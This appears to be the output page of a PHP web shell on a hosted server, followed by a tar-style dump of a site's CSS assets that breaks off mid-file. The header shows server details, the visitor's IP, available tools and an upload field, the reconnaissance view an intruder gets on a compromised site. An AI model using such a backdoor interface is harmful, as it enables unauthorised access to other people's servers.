| Server IP : 46.105.57.169 / Your IP : 216.73.217.35 Web Server : Apache System : Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64 User : verseaumee ( 152031) PHP Version : 8.5.7 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/verseaumee/123click/assets/ |
Upload File : |
main.min.css 0000604 00000014007 15074420452 0006765 0 ustar 00 @import url('https://fonts.googleapis.com/css?family=Lato');body{font-family:'Lato',sans-serif}.ui.toggle.checkbox label{color:#fff}.form .field{margin-bottom:10px !important}.document{background:#C0392B}.doc{padding-left:8px}.doc i{color:#fff;font-size:2.2em}.main-header{padding:0;letter-spacing:-1px;text-align:center;color:#fff}.main-header h1{font-weight:500;font-size:2.8em;line-height:1;margin:0;text-rendering:geometricPrecision}.main-header h1 span{display:block;font-size:35%;letter-spacing:1px;text-rendering:geometricPrecision;padding-top:0.75em;color:#ddd}.main-header img{width:150px}@media screen and (max-width: 480px){.main-header img{width:80px}.main-header h1{font-size:2em}}.customizer{background:#444;position:fixed;top:50%;left:0;max-height:100%;z-index:10000;padding:15px 10px;border-radius:0 5px 5px 0;-webkit-transform:translate3d(0,-50%,0);transform:translate3d(0,-50%,0)}.color-tool{list-style:none;margin:0;padding:0;display:-webkit-flex;display:flex;-webkit-flex-direction:column;flex-direction:column}.color-tool li{width:30px;height:30px;display:block;margin:5px;cursor:pointer}.color-tool li a{display:block;width:100%;height:100%}.color-1{background:#FFF}.color-2{background:#FFF}.color-3{background:#FFF}.color-4{background:#FFF}.color-5{background:#FFF}.color-6{background:#FFF}.color-7{background:#FFF}.color-8{background:#FFF}@media screen and (max-width: 50em){.customizer{bottom:0;width:100%;height:100px;padding:30px 0;-webkit-transform:none;transform:none;border-radius:0;top:80%}.color-tool{-webkit-flex-direction:row;-ms-flex-direction:row;flex-direction:row;-webkit-justify-content:center;justify-content:center}.color-tool li{margin:3px}}.input-container{text-align:left;max-width:650px;margin:0 auto}.input-container--indent{padding-left:160px}.input-container--space{margin-top:1em}.input-label{font-weight:bold;display:inline-block;line-height:80px;height:60px;width:150px;padding:0 1em 0 0;text-align:right;color:#FF75AF;-webkit-touch-callout:none;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}#isim{font-weight:bold}.input-label--long{float:left;width:calc(100% - 50px);text-align:left;padding:0 0 1em 1em}.input-wrap{position:relative;margin:0 auto 1em;display:inline-block;vertical-align:top;width:100%;height:80px}.input-wrap--small{width:30px;height:30px;float:left;margin:23px 10px 0}.input-wrap input[type="search"]{display:block;width:94.6%;height:75%;border:none;position:relative;background:none;z-index:100;outline:none;font-size:1.5em;font-weight:bold;color:#444;padding:0 0.75em;-webkit-tap-highlight-color:rgba(0, 0, 0, 0);-webkit-tap-highlight-color:transparent}.input-wrap input[type="text"]{display:block;width:94.6%;height:75%;border:none;position:relative;background:none;z-index:100;outline:none;font-size:1.5em;font-weight:bold;color:#aaa;left:2.7%;top:12.5%;padding:0 0.75em;-webkit-tap-highlight-color:rgba(0, 0, 0, 0);-webkit-tap-highlight-color:transparent}.input-wrap input[type="checkbox"], .input-wrap input[type="radio"], .input-wrap .fa{display:block;width:94.6%;height:75%;border:none;position:relative;background:none;z-index:100;outline:none;font-size:1.5em;font-weight:bold;color:#FF75AF;padding:20px 25px !important;-webkit-tap-highlight-color:#FF75AF;-webkit-tap-highlight-color:transparent}.input-wrap .fa{z-index:99;line-height:2;color:#415c71}.input-wrap input[type="checkbox"]:checked + .fa, .input-wrap input[type="radio"]:checked+.fa{opacity:1}.morph-shape{position:absolute;width:100%;height:100%;top:0;left:0;pointer-events:none}.morph-shape svg path{fill:#FFE066}.note{text-align:left;max-width:600px;padding:1em 0 0.5em;font-size:1em;color:#CBCBCB;border-bottom:1px solid #ddd;margin:0 auto 1em}@media screen and (max-width: 60em){.input-label,.input-label--long{text-align:left;padding:0}.input-container--indent{padding:0}.input-wrap:not(.input-wrap--small){width:100%}}.twitter-typeahead{width:100% !important;margin-left:15px;margin-top:10px;height:80px}.typeahead,.tt-query,.tt-hint{height:80px}.typeahead{}::-webkit-input-placeholder{word-spacing:normal}::-moz-placeholder{word-spacing:normal}:-ms-input-placeholder{word-spacing:normal}input:-moz-placeholder{word-spacing:normal}.tt-input{}.typeahead:focus{border:2px solid #0097cf}.tt-query{-webkit-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);-moz-box-shadow:inset 0 1px 1px rgba(0, 0, 0, 0.075);box-shadow:inset 0 1px 1px rgba(0,0,0,0.075)}.tt-hint{color:#C0392B !important}.tt-menu{width:94.5%;margin-top:-3px;background-color:#333;border:1px solid #ccc;border:1px solid rgba(0, 0, 0, 0.2);-webkit-box-shadow:0 5px 10px rgba(0, 0, 0, .2);-moz-box-shadow:0 5px 10px rgba(0, 0, 0, .2);box-shadow:0 5px 10px rgba(0,0,0,.2)}.tt-suggestion{padding:3px 20px;font-size:18px;line-height:24px}.tt-suggestion:hover{cursor:pointer;color:#000 !important;background-color:#ce5a4e}.tt-suggestion.tt-cursor{color:#fff;background-color:#A98901}.tt-suggestion p{margin:0}.gist{font-size:33px}#custom-templates .empty-message{padding:10px 10px !important;text-align:center}.empty-message{padding:10px 10px !important;text-align:center;color:#fff}#multiple-datasets .league-name{margin:0 20px 5px 20px;padding:3px 0;border-bottom:1px solid #ccc}#scrollable-dropdown-menu .tt-menu{max-height:350px;overflow-y:auto}#rtl-support .tt-menu{text-align:right}.arrow_box4{position:relative;border:2px solid #ffe066}.arrow_box4:after,.arrow_box4:before{bottom:102%;left:10%;border:solid transparent;content:" ";height:0;width:0;position:absolute;pointer-events:none}.arrow_box4:after{border-color:rgba(0,0,0,0);border-bottom-color:;border-width:12px;margin-left:-12px}.arrow_box4:before{border-color:rgba(255,255,255,0);border-bottom-color:#ffe066;border-width:15px;margin-left:-15px}.personimage{object-fit:cover}.fff{width:150px;height:auto;margin:0 auto;text-align:center;object-fit:cover}.md-birim{text-transform:capitalize}.kisilist{text-transform:capitalize;margin:0 !important;padding:3px 0 !important}.cleard{position:absolute;top:0;right:0;margin-top:25px !important;margin-right:25px !important;z-index:999 !important;color:#C0392B;display:none} main.css 0000604 00000013142 15074420452 0006202 0 ustar 00 /*! HTML5 Boilerplate v5.2.0 | MIT License | https://html5boilerplate.com/ */
/*
* What follows is the result of much research on cross-browser styling.
* Credit left inline and big thanks to Nicolas Gallagher, Jonathan Neal,
* Kroc Camen, and the H5BP dev community and team.
*/
/* ==========================================================================
Base styles: opinionated defaults
========================================================================== */
html {
color: #222;
font-size: 1em;
line-height: 1.4;
}
/*
* Remove text-shadow in selection highlight:
* https://twitter.com/miketaylr/status/12228805301
*
* These selection rule sets have to be separate.
* Customize the background color to match your design.
*/
::-moz-selection {
background: #b3d4fc;
text-shadow: none;
}
::selection {
background: #b3d4fc;
text-shadow: none;
}
/*
* A better looking default horizontal rule
*/
hr {
display: block;
height: 1px;
border: 0;
border-top: 1px solid #ccc;
margin: 1em 0;
padding: 0;
}
/*
* Remove the gap between audio, canvas, iframes,
* images, videos and the bottom of their containers:
* https://github.com/h5bp/html5-boilerplate/issues/440
*/
audio,
canvas,
iframe,
img,
svg,
video {
vertical-align: middle;
}
/*
* Remove default fieldset styles.
*/
fieldset {
border: 0;
margin: 0;
padding: 0;
}
/*
* Allow only vertical resizing of textareas.
*/
textarea {
resize: vertical;
}
/* ==========================================================================
Browser Upgrade Prompt
========================================================================== */
.browserupgrade {
margin: 0.2em 0;
background: #ccc;
color: #000;
padding: 0.2em 0;
}
/* ==========================================================================
Author's custom styles
========================================================================== */
/* ==========================================================================
Helper classes
========================================================================== */
/*
* Hide visually and from screen readers:
*/
.hidden {
display: none !important;
}
/*
* Hide only visually, but have it available for screen readers:
* http://snook.ca/archives/html_and_css/hiding-content-for-accessibility
*/
.visuallyhidden {
border: 0;
clip: rect(0 0 0 0);
height: 1px;
margin: -1px;
overflow: hidden;
padding: 0;
position: absolute;
width: 1px;
}
/*
* Extends the .visuallyhidden class to allow the element
* to be focusable when navigated to via the keyboard:
* https://www.drupal.org/node/897638
*/
.visuallyhidden.focusable:active,
.visuallyhidden.focusable:focus {
clip: auto;
height: auto;
margin: 0;
overflow: visible;
position: static;
width: auto;
}
/*
* Hide visually and from screen readers, but maintain layout
*/
.invisible {
visibility: hidden;
}
/*
* Clearfix: contain floats
*
* For modern browsers
* 1. The space content is one way to avoid an Opera bug when the
* `contenteditable` attribute is included anywhere else in the document.
* Otherwise it causes space to appear at the top and bottom of elements
* that receive the `clearfix` class.
* 2. The use of `table` rather than `block` is only necessary if using
* `:before` to contain the top-margins of child elements.
*/
.clearfix:before,
.clearfix:after {
content: " "; /* 1 */
display: table; /* 2 */
}
.clearfix:after {
clear: both;
}
/* ==========================================================================
EXAMPLE Media Queries for Responsive Design.
These examples override the primary ('mobile first') styles.
Modify as content requires.
========================================================================== */
@media only screen and (min-width: 35em) {
/* Style adjustments for viewports that meet the condition */
}
@media print,
(-webkit-min-device-pixel-ratio: 1.25),
(min-resolution: 1.25dppx),
(min-resolution: 120dpi) {
/* Style adjustments for high resolution devices */
}
/* ==========================================================================
Print styles.
Inlined to avoid the additional HTTP request:
http://www.phpied.com/delay-loading-your-print-css/
========================================================================== */
@media print {
*,
*:before,
*:after {
background: transparent !important;
color: #000 !important; /* Black prints faster:
http://www.sanbeiji.com/archives/953 */
box-shadow: none !important;
text-shadow: none !important;
}
a,
a:visited {
text-decoration: underline;
}
a[href]:after {
content: " (" attr(href) ")";
}
abbr[title]:after {
content: " (" attr(title) ")";
}
/*
* Don't show links that are fragment identifiers,
* or use the `javascript:` pseudo protocol
*/
a[href^="#"]:after,
a[href^="javascript:"]:after {
content: "";
}
pre,
blockquote {
border: 1px solid #999;
page-break-inside: avoid;
}
/*
* Printing Tables:
* http://css-discuss.incutio.com/wiki/Printing_Tables
*/
thead {
display: table-header-group;
}
tr,
img {
page-break-inside: avoid;
}
img {
max-width: 100% !important;
}
p,
h2,
h3 {
orphans: 3;
widows: 3;
}
h2,
h3 {
page-break-after: avoid;
}
}
ionicons.min.css 0000604 00000144124 15074420452 0007666 0 ustar 00 @charset "UTF-8";/*!
Ionicons, v2.0.1
Created by Ben Sperry for the Ionic Framework, http://ionicons.com/
https://twitter.com/benjsperry https://twitter.com/ionicframework
MIT License: https://github.com/driftyco/ionicons
Android-style icons originally built by Google’s
Material Design Icons: https://github.com/google/material-design-icons
used under CC BY http://creativecommons.org/licenses/by/4.0/
Modified icons to fit ionicon’s grid from original.
*/@font-face{font-family:"Ionicons";src:url("../fonts/ionicons.eot?v=2.0.1");src:url("../fonts/ionicons.eot?v=2.0.1#iefix") format("embedded-opentype"),url("../fonts/ionicons.ttf?v=2.0.1") format("truetype"),url("../fonts/ionicons.woff?v=2.0.1") format("woff"),url("../fonts/ionicons.svg?v=2.0.1#Ionicons") format("svg");font-weight:normal;font-style:normal}.ion,.ionicons,.ion-alert:before,.ion-alert-circled:before,.ion-android-add:before,.ion-android-add-circle:before,.ion-android-alarm-clock:before,.ion-android-alert:before,.ion-android-apps:before,.ion-android-archive:before,.ion-android-arrow-back:before,.ion-android-arrow-down:before,.ion-android-arrow-dropdown:before,.ion-android-arrow-dropdown-circle:before,.ion-android-arrow-dropleft:before,.ion-android-arrow-dropleft-circle:before,.ion-android-arrow-dropright:before,.ion-android-arrow-dropright-circle:before,.ion-android-arrow-dropup:before,.ion-android-arrow-dropup-circle:before,.ion-android-arrow-forward:before,.ion-android-arrow-up:before,.ion-android-attach:before,.ion-android-bar:before,.ion-android-bicycle:before,.ion-android-boat:before,.ion-android-bookmark:before,.ion-android-bulb:before,.ion-android-bus:before,.ion-android-calendar:before,.ion-android-call:before,.ion-android-camera:before,.ion-android-cancel:before,.ion-android-car:before,.ion-android-cart:before,.ion-android-chat:before,.ion-android-checkbox:before,.ion-android-checkbox-blank:before,.ion-android-checkbox-outline:before,.ion-android-checkbox-outline-blank:before,.ion-android-checkmark-circle:before,.ion-android-clipboard:before,.ion-android-close:before,.ion-android-cloud:before,.ion-android-cloud-circle:before,.ion-android-cloud-done:before,.ion-android-cloud-outline:before,.ion-android-color-palette:before,.ion-android-compass:before,.ion-android-contact:before,.ion-android-contacts:before,.ion-android-contract:before,.ion-android-create:before,.ion-android-delete:before,.ion-android-desktop:before,.ion-android-document:before,.ion-android-done:before,.ion-android-done-all:before,.ion-android-download:before,.ion-android-drafts:before,.ion-android-exit:before,.ion-android-expand:before,.ion-android-favorite:before,.ion-android-favorite-outline:before,.ion-android-film:before,.ion-android-folder:before,.ion-android-folder-open:before,.ion-android-funnel:before,.ion-android-globe:before,.ion-android-hand:before,.ion-android-hangout:before,.ion-android-happy:before,.ion-android-home:before,.ion-android-image:before,.ion-android-laptop:before,.ion-android-list:before,.ion-android-locate:before,.ion-android-lock:before,.ion-android-mail:before,.ion-android-map:before,.ion-android-menu:before,.ion-android-microphone:before,.ion-android-microphone-off:before,.ion-android-more-horizontal:before,.ion-android-more-vertical:before,.ion-android-navigate:before,.ion-android-notifications:before,.ion-android-notifications-none:before,.ion-android-notifications-off:before,.ion-android-open:before,.ion-android-options:before,.ion-android-people:before,.ion-android-person:before,.ion-android-person-add:before,.ion-android-phone-landscape:before,.ion-android-phone-portrait:before,.ion-android-pin:before,.ion-android-plane:before,.ion-android-playstore:before,.ion-android-print:before,.ion-android-radio-button-off:before,.ion-android-radio-button-on:before,.ion-android-refresh:before,.ion-android-remove:before,.ion-android-remove-circle:before,.ion-android-restaurant:before,.ion-android-sad:before,.ion-android-search:before,.ion-android-send:before,.ion-android-settings:before,.ion-android-share:before,.ion-android-share-alt:before,.ion-android-star:before,.ion-android-star-half:before,.ion-android-star-outline:before,.ion-android-stopwatch:before,.ion-android-subway:before,.ion-android-sunny:before,.ion-android-sync:before,.ion-android-textsms:before,.ion-android-time:before,.ion-android-train:before,.ion-android-unlock:before,.ion-android-upload:before,.ion-android-volume-down:before,.ion-android-volume-mute:before,.ion-android-volume-off:before,.ion-android-volume-up:before,.ion-android-walk:before,.ion-android-warning:before,.ion-android-watch:before,.ion-android-wifi:before,.ion-aperture:before,.ion-archive:before,.ion-arrow-down-a:before,.ion-arrow-down-b:before,.ion-arrow-down-c:before,.ion-arrow-expand:before,.ion-arrow-graph-down-left:before,.ion-arrow-graph-down-right:before,.ion-arrow-graph-up-left:before,.ion-arrow-graph-up-right:before,.ion-arrow-left-a:before,.ion-arrow-left-b:before,.ion-arrow-left-c:before,.ion-arrow-move:before,.ion-arrow-resize:before,.ion-arrow-return-left:before,.ion-arrow-return-right:before,.ion-arrow-right-a:before,.ion-arrow-right-b:before,.ion-arrow-right-c:before,.ion-arrow-shrink:before,.ion-arrow-swap:before,.ion-arrow-up-a:before,.ion-arrow-up-b:before,.ion-arrow-up-c:before,.ion-asterisk:before,.ion-at:before,.ion-backspace:before,.ion-backspace-outline:before,.ion-bag:before,.ion-battery-charging:before,.ion-battery-empty:before,.ion-battery-full:before,.ion-battery-half:before,.ion-battery-low:before,.ion-beaker:before,.ion-beer:before,.ion-bluetooth:before,.ion-bonfire:before,.ion-bookmark:before,.ion-bowtie:before,.ion-briefcase:before,.ion-bug:before,.ion-calculator:before,.ion-calendar:before,.ion-camera:before,.ion-card:before,.ion-cash:before,.ion-chatbox:before,.ion-chatbox-working:before,.ion-chatboxes:before,.ion-chatbubble:before,.ion-chatbubble-working:before,.ion-chatbubbles:before,.ion-checkmark:before,.ion-checkmark-circled:before,.ion-checkmark-round:before,.ion-chevron-down:before,.ion-chevron-left:before,.ion-chevron-right:before,.ion-chevron-up:before,.ion-clipboard:before,.ion-clock:before,.ion-close:before,.ion-close-circled:before,.ion-close-round:before,.ion-closed-captioning:before,.ion-cloud:before,.ion-code:before,.ion-code-download:before,.ion-code-working:before,.ion-coffee:before,.ion-compass:before,.ion-compose:before,.ion-connection-bars:before,.ion-contrast:before,.ion-crop:before,.ion-cube:before,.ion-disc:before,.ion-document:before,.ion-document-text:before,.ion-drag:before,.ion-earth:before,.ion-easel:before,.ion-edit:before,.ion-egg:before,.ion-eject:before,.ion-email:before,.ion-email-unread:before,.ion-erlenmeyer-flask:before,.ion-erlenmeyer-flask-bubbles:before,.ion-eye:before,.ion-eye-disabled:before,.ion-female:before,.ion-filing:before,.ion-film-marker:before,.ion-fireball:before,.ion-flag:before,.ion-flame:before,.ion-flash:before,.ion-flash-off:before,.ion-folder:before,.ion-fork:before,.ion-fork-repo:before,.ion-forward:before,.ion-funnel:before,.ion-gear-a:before,.ion-gear-b:before,.ion-grid:before,.ion-hammer:before,.ion-happy:before,.ion-happy-outline:before,.ion-headphone:before,.ion-heart:before,.ion-heart-broken:before,.ion-help:before,.ion-help-buoy:before,.ion-help-circled:before,.ion-home:before,.ion-icecream:before,.ion-image:before,.ion-images:before,.ion-information:before,.ion-information-circled:before,.ion-ionic:before,.ion-ios-alarm:before,.ion-ios-alarm-outline:before,.ion-ios-albums:before,.ion-ios-albums-outline:before,.ion-ios-americanfootball:before,.ion-ios-americanfootball-outline:before,.ion-ios-analytics:before,.ion-ios-analytics-outline:before,.ion-ios-arrow-back:before,.ion-ios-arrow-down:before,.ion-ios-arrow-forward:before,.ion-ios-arrow-left:before,.ion-ios-arrow-right:before,.ion-ios-arrow-thin-down:before,.ion-ios-arrow-thin-left:before,.ion-ios-arrow-thin-right:before,.ion-ios-arrow-thin-up:before,.ion-ios-arrow-up:before,.ion-ios-at:before,.ion-ios-at-outline:before,.ion-ios-barcode:before,.ion-ios-barcode-outline:before,.ion-ios-baseball:before,.ion-ios-baseball-outline:before,.ion-ios-basketball:before,.ion-ios-basketball-outline:before,.ion-ios-bell:before,.ion-ios-bell-outline:before,.ion-ios-body:before,.ion-ios-body-outline:before,.ion-ios-bolt:before,.ion-ios-bolt-outline:before,.ion-ios-book:before,.ion-ios-book-outline:before,.ion-ios-bookmarks:before,.ion-ios-bookmarks-outline:before,.ion-ios-box:before,.ion-ios-box-outline:before,.ion-ios-briefcase:before,.ion-ios-briefcase-outline:before,.ion-ios-browsers:before,.ion-ios-browsers-outline:before,.ion-ios-calculator:before,.ion-ios-calculator-outline:before,.ion-ios-calendar:before,.ion-ios-calendar-outline:before,.ion-ios-camera:before,.ion-ios-camera-outline:before,.ion-ios-cart:before,.ion-ios-cart-outline:before,.ion-ios-chatboxes:before,.ion-ios-chatboxes-outline:before,.ion-ios-chatbubble:before,.ion-ios-chatbubble-outline:before,.ion-ios-checkmark:before,.ion-ios-checkmark-empty:before,.ion-ios-checkmark-outline:before,.ion-ios-circle-filled:before,.ion-ios-circle-outline:before,.ion-ios-clock:before,.ion-ios-clock-outline:before,.ion-ios-close:before,.ion-ios-close-empty:before,.ion-ios-close-outline:before,.ion-ios-cloud:before,.ion-ios-cloud-download:before,.ion-ios-cloud-download-outline:before,.ion-ios-cloud-outline:before,.ion-ios-cloud-upload:before,.ion-ios-cloud-upload-outline:before,.ion-ios-cloudy:before,.ion-ios-cloudy-night:before,.ion-ios-cloudy-night-outline:before,.ion-ios-cloudy-outline:before,.ion-ios-cog:before,.ion-ios-cog-outline:before,.ion-ios-color-filter:before,.ion-ios-color-filter-outline:before,.ion-ios-color-wand:before,.ion-ios-color-wand-outline:before,.ion-ios-compose:before,.ion-ios-compose-outline:before,.ion-ios-contact:before,.ion-ios-contact-outline:before,.ion-ios-copy:before,.ion-ios-copy-outline:before,.ion-ios-crop:before,.ion-ios-crop-strong:before,.ion-ios-download:before,.ion-ios-download-outline:before,.ion-ios-drag:before,.ion-ios-email:before,.ion-ios-email-outline:before,.ion-ios-eye:before,.ion-ios-eye-outline:before,.ion-ios-fastforward:before,.ion-ios-fastforward-outline:before,.ion-ios-filing:before,.ion-ios-filing-outline:before,.ion-ios-film:before,.ion-ios-film-outline:before,.ion-ios-flag:before,.ion-ios-flag-outline:before,.ion-ios-flame:before,.ion-ios-flame-outline:before,.ion-ios-flask:before,.ion-ios-flask-outline:before,.ion-ios-flower:before,.ion-ios-flower-outline:before,.ion-ios-folder:before,.ion-ios-folder-outline:before,.ion-ios-football:before,.ion-ios-football-outline:before,.ion-ios-game-controller-a:before,.ion-ios-game-controller-a-outline:before,.ion-ios-game-controller-b:before,.ion-ios-game-controller-b-outline:before,.ion-ios-gear:before,.ion-ios-gear-outline:before,.ion-ios-glasses:before,.ion-ios-glasses-outline:before,.ion-ios-grid-view:before,.ion-ios-grid-view-outline:before,.ion-ios-heart:before,.ion-ios-heart-outline:before,.ion-ios-help:before,.ion-ios-help-empty:before,.ion-ios-help-outline:before,.ion-ios-home:before,.ion-ios-home-outline:before,.ion-ios-infinite:before,.ion-ios-infinite-outline:before,.ion-ios-information:before,.ion-ios-information-empty:before,.ion-ios-information-outline:before,.ion-ios-ionic-outline:before,.ion-ios-keypad:before,.ion-ios-keypad-outline:before,.ion-ios-lightbulb:before,.ion-ios-lightbulb-outline:before,.ion-ios-list:before,.ion-ios-list-outline:before,.ion-ios-location:before,.ion-ios-location-outline:before,.ion-ios-locked:before,.ion-ios-locked-outline:before,.ion-ios-loop:before,.ion-ios-loop-strong:before,.ion-ios-medical:before,.ion-ios-medical-outline:before,.ion-ios-medkit:before,.ion-ios-medkit-outline:before,.ion-ios-mic:before,.ion-ios-mic-off:before,.ion-ios-mic-outline:before,.ion-ios-minus:before,.ion-ios-minus-empty:before,.ion-ios-minus-outline:before,.ion-ios-monitor:before,.ion-ios-monitor-outline:before,.ion-ios-moon:before,.ion-ios-moon-outline:before,.ion-ios-more:before,.ion-ios-more-outline:before,.ion-ios-musical-note:before,.ion-ios-musical-notes:before,.ion-ios-navigate:before,.ion-ios-navigate-outline:before,.ion-ios-nutrition:before,.ion-ios-nutrition-outline:before,.ion-ios-paper:before,.ion-ios-paper-outline:before,.ion-ios-paperplane:before,.ion-ios-paperplane-outline:before,.ion-ios-partlysunny:before,.ion-ios-partlysunny-outline:before,.ion-ios-pause:before,.ion-ios-pause-outline:before,.ion-ios-paw:before,.ion-ios-paw-outline:before,.ion-ios-people:before,.ion-ios-people-outline:before,.ion-ios-person:before,.ion-ios-person-outline:before,.ion-ios-personadd:before,.ion-ios-personadd-outline:before,.ion-ios-photos:before,.ion-ios-photos-outline:before,.ion-ios-pie:before,.ion-ios-pie-outline:before,.ion-ios-pint:before,.ion-ios-pint-outline:before,.ion-ios-play:before,.ion-ios-play-outline:before,.ion-ios-plus:before,.ion-ios-plus-empty:before,.ion-ios-plus-outline:before,.ion-ios-pricetag:before,.ion-ios-pricetag-outline:before,.ion-ios-pricetags:before,.ion-ios-pricetags-outline:before,.ion-ios-printer:before,.ion-ios-printer-outline:before,.ion-ios-pulse:before,.ion-ios-pulse-strong:before,.ion-ios-rainy:before,.ion-ios-rainy-outline:before,.ion-ios-recording:before,.ion-ios-recording-outline:before,.ion-ios-redo:before,.ion-ios-redo-outline:before,.ion-ios-refresh:before,.ion-ios-refresh-empty:before,.ion-ios-refresh-outline:before,.ion-ios-reload:before,.ion-ios-reverse-camera:before,.ion-ios-reverse-camera-outline:before,.ion-ios-rewind:before,.ion-ios-rewind-outline:before,.ion-ios-rose:before,.ion-ios-rose-outline:before,.ion-ios-search:before,.ion-ios-search-strong:before,.ion-ios-settings:before,.ion-ios-settings-strong:before,.ion-ios-shuffle:before,.ion-ios-shuffle-strong:before,.ion-ios-skipbackward:before,.ion-ios-skipbackward-outline:before,.ion-ios-skipforward:before,.ion-ios-skipforward-outline:before,.ion-ios-snowy:before,.ion-ios-speedometer:before,.ion-ios-speedometer-outline:before,.ion-ios-star:before,.ion-ios-star-half:before,.ion-ios-star-outline:before,.ion-ios-stopwatch:before,.ion-ios-stopwatch-outline:before,.ion-ios-sunny:before,.ion-ios-sunny-outline:before,.ion-ios-telephone:before,.ion-ios-telephone-outline:before,.ion-ios-tennisball:before,.ion-ios-tennisball-outline:before,.ion-ios-thunderstorm:before,.ion-ios-thunderstorm-outline:before,.ion-ios-time:before,.ion-ios-time-outline:before,.ion-ios-timer:before,.ion-ios-timer-outline:before,.ion-ios-toggle:before,.ion-ios-toggle-outline:before,.ion-ios-trash:before,.ion-ios-trash-outline:before,.ion-ios-undo:before,.ion-ios-undo-outline:before,.ion-ios-unlocked:before,.ion-ios-unlocked-outline:before,.ion-ios-upload:before,.ion-ios-upload-outline:before,.ion-ios-videocam:before,.ion-ios-videocam-outline:before,.ion-ios-volume-high:before,.ion-ios-volume-low:before,.ion-ios-wineglass:before,.ion-ios-wineglass-outline:before,.ion-ios-world:before,.ion-ios-world-outline:before,.ion-ipad:before,.ion-iphone:before,.ion-ipod:before,.ion-jet:before,.ion-key:before,.ion-knife:before,.ion-laptop:before,.ion-leaf:before,.ion-levels:before,.ion-lightbulb:before,.ion-link:before,.ion-load-a:before,.ion-load-b:before,.ion-load-c:before,.ion-load-d:before,.ion-location:before,.ion-lock-combination:before,.ion-locked:before,.ion-log-in:before,.ion-log-out:before,.ion-loop:before,.ion-magnet:before,.ion-male:before,.ion-man:before,.ion-map:before,.ion-medkit:before,.ion-merge:before,.ion-mic-a:before,.ion-mic-b:before,.ion-mic-c:before,.ion-minus:before,.ion-minus-circled:before,.ion-minus-round:before,.ion-model-s:before,.ion-monitor:before,.ion-more:before,.ion-mouse:before,.ion-music-note:before,.ion-navicon:before,.ion-navicon-round:before,.ion-navigate:before,.ion-network:before,.ion-no-smoking:before,.ion-nuclear:before,.ion-outlet:before,.ion-paintbrush:before,.ion-paintbucket:before,.ion-paper-airplane:before,.ion-paperclip:before,.ion-pause:before,.ion-person:before,.ion-person-add:before,.ion-person-stalker:before,.ion-pie-graph:before,.ion-pin:before,.ion-pinpoint:before,.ion-pizza:before,.ion-plane:before,.ion-planet:before,.ion-play:before,.ion-playstation:before,.ion-plus:before,.ion-plus-circled:before,.ion-plus-round:before,.ion-podium:before,.ion-pound:before,.ion-power:before,.ion-pricetag:before,.ion-pricetags:before,.ion-printer:before,.ion-pull-request:before,.ion-qr-scanner:before,.ion-quote:before,.ion-radio-waves:before,.ion-record:before,.ion-refresh:before,.ion-reply:before,.ion-reply-all:before,.ion-ribbon-a:before,.ion-ribbon-b:before,.ion-sad:before,.ion-sad-outline:before,.ion-scissors:before,.ion-search:before,.ion-settings:before,.ion-share:before,.ion-shuffle:before,.ion-skip-backward:before,.ion-skip-forward:before,.ion-social-android:before,.ion-social-android-outline:before,.ion-social-angular:before,.ion-social-angular-outline:before,.ion-social-apple:before,.ion-social-apple-outline:before,.ion-social-bitcoin:before,.ion-social-bitcoin-outline:before,.ion-social-buffer:before,.ion-social-buffer-outline:before,.ion-social-chrome:before,.ion-social-chrome-outline:before,.ion-social-codepen:before,.ion-social-codepen-outline:before,.ion-social-css3:before,.ion-social-css3-outline:before,.ion-social-designernews:before,.ion-social-designernews-outline:before,.ion-social-dribbble:before,.ion-social-dribbble-outline:before,.ion-social-dropbox:before,.ion-social-dropbox-outline:before,.ion-social-euro:before,.ion-social-euro-outline:before,.ion-social-facebook:before,.ion-social-facebook-outline:before,.ion-social-foursquare:before,.ion-social-foursquare-outline:before,.ion-social-freebsd-devil:before,.ion-social-github:before,.ion-social-github-outline:before,.ion-social-google:before,.ion-social-google-outline:before,.ion-social-googleplus:before,.ion-social-googleplus-outline:before,.ion-social-hackernews:before,.ion-social-hackernews-outline:before,.ion-social-html5:before,.ion-social-html5-outline:before,.ion-social-instagram:before,.ion-social-instagram-outline:before,.ion-social-javascript:before,.ion-social-javascript-outline:before,.ion-social-linkedin:before,.ion-social-linkedin-outline:before,.ion-social-markdown:before,.ion-social-nodejs:before,.ion-social-octocat:before,.ion-social-pinterest:before,.ion-social-pinterest-outline:before,.ion-social-python:before,.ion-social-reddit:before,.ion-social-reddit-outline:before,.ion-social-rss:before,.ion-social-rss-outline:before,.ion-social-sass:before,.ion-social-skype:before,.ion-social-skype-outline:before,.ion-social-snapchat:before,.ion-social-snapchat-outline:before,.ion-social-tumblr:before,.ion-social-tumblr-outline:before,.ion-social-tux:before,.ion-social-twitch:before,.ion-social-twitch-outline:before,.ion-social-twitter:before,.ion-social-twitter-outline:before,.ion-social-usd:before,.ion-social-usd-outline:before,.ion-social-vimeo:before,.ion-social-vimeo-outline:before,.ion-social-whatsapp:before,.ion-social-whatsapp-outline:before,.ion-social-windows:before,.ion-social-windows-outline:before,.ion-social-wordpress:before,.ion-social-wordpress-outline:before,.ion-social-yahoo:before,.ion-social-yahoo-outline:before,.ion-social-yen:before,.ion-social-yen-outline:before,.ion-social-youtube:before,.ion-social-youtube-outline:before,.ion-soup-can:before,.ion-soup-can-outline:before,.ion-speakerphone:before,.ion-speedometer:before,.ion-spoon:before,.ion-star:before,.ion-stats-bars:before,.ion-steam:before,.ion-stop:before,.ion-thermometer:before,.ion-thumbsdown:before,.ion-thumbsup:before,.ion-toggle:before,.ion-toggle-filled:before,.ion-transgender:before,.ion-trash-a:before,.ion-trash-b:before,.ion-trophy:before,.ion-tshirt:before,.ion-tshirt-outline:before,.ion-umbrella:before,.ion-university:before,.ion-unlocked:before,.ion-upload:before,.ion-usb:before,.ion-videocamera:before,.ion-volume-high:before,.ion-volume-low:before,.ion-volume-medium:before,.ion-volume-mute:before,.ion-wand:before,.ion-waterdrop:before,.ion-wifi:before,.ion-wineglass:before,.ion-woman:before,.ion-wrench:before,.ion-xbox:before{display:inline-block;font-family:"Ionicons";speak:none;font-style:normal;font-weight:normal;font-variant:normal;text-transform:none;text-rendering:auto;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.ion-alert:before{content:"\f101"}.i